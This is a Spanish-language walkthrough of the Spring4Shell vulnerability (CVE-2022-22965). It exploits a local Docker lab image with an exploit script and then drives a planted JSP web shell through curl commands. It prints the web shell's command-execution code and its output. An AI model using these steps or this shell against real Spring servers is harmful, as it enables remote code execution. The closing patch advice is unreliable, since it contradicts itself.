
Spring4Shell - Spring Core RCE - CVE-2022-22965
Después de Spring Cloud, el 29 de marzo, otra vulnerabilidad de gran peso de Spring estalló en Internet: Spring Core RCE
El 31 de marzo Spring publicó nuevas versiones que corrigen la vulnerabilidad. Véase la sección Parcheo.
El 31 de marzo se asignó finalmente un número CVE a la vulnerabilidad con una puntuación CVSS de 9.8 (CRÍTICA)
El exploit es muy fácil de usar, de ahí la puntuación CVSS tan alta de 9.8.
Para probar la vulnerabilidad, puedes hacer lo siguiente.
Inicia una imagen Docker vulnerable de Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Esto vincula la instancia vulnerable de Spring a la dirección localhost:8082.
Verifica que la imagen se haya iniciado correctamente con curl.
curl http://localhost:8082
Se debería devolver una respuesta ok.
¡Explotemos ahora la imagen vulnerable!
python3 exp.py --url http://localhost:8082
Se debería devolver una respuesta de The vulnerability exists .....
Ahora puedes explotar la vulnerabilidad con curl.
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
El exploit se ha subido hasta ahora como exp.py


Spring ha publicado ahora nuevas versiones que solucionan esta CVE. Véase el anuncio de Spring.
Actualmente, Spring no ha publicado oficialmente un parche; se recomienda reducir la versión de JDK como solución temporal.